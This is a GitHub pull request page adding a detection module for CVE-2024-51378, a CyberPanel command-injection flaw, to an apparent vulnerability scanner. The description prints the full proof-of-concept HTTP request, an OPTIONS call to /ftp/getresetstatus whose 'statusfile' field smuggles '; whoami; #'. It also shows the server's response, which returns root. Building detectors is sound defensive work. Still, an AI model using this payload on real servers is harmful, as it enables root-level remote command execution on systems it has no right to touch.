Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding cve-2024_51378 #153

Merged
merged 5 commits into from
Dec 5, 2024
Merged

Adding cve-2024_51378 #153

merged 5 commits into from
Dec 5, 2024

Conversation

PiranhaSa
Copy link
Contributor

Detection for CVE-2024-51378 : https://attacke.rs/posts/cyberpanel-command-injection-vulnerability/
The request to get RCE

OPTIONS /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48

{
    "statusfile": "; whoami; #"
}

The response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: sameorigin
Content-Security-Policy: style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Vary: Accept-Language, Cookie
Content-Language: en
Content-Length: 64
Date: Wed, 23 Oct 2024 10:57:29 GMT
Server: LiteSpeed
Connection: Keep-Alive

{"abort": 0, "error_message": "None", "requestStatus": "root\n"}

@PiranhaSa PiranhaSa requested a review from a team as a code owner December 5, 2024 11:28
Copy link

codecov bot commented Dec 5, 2024

Codecov Report

Attention: Patch coverage is 97.70115% with 2 lines in your changes missing coverage. Please review.

Project coverage is 96.27%. Comparing base (478abaa) to head (3e5016a).
Report is 17 commits behind head on main.

Files with missing lines Patch % Lines
agent/exploits/cve_2024_51378.py 95.74% 2 Missing ⚠️
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #153      +/-   ##
==========================================
+ Coverage   96.23%   96.27%   +0.04%     
==========================================
  Files         198      200       +2     
  Lines        7117     7198      +81     
==========================================
+ Hits         6849     6930      +81     
  Misses        268      268              

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

@3asm 3asm marked this pull request as draft December 5, 2024 12:00
@PiranhaSa PiranhaSa marked this pull request as ready for review December 5, 2024 14:08
@3asm 3asm merged commit 87a2527 into main Dec 5, 2024
5 checks passed
@3asm 3asm deleted the feature/CVE_2024_51378 branch December 5, 2024 16:21
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants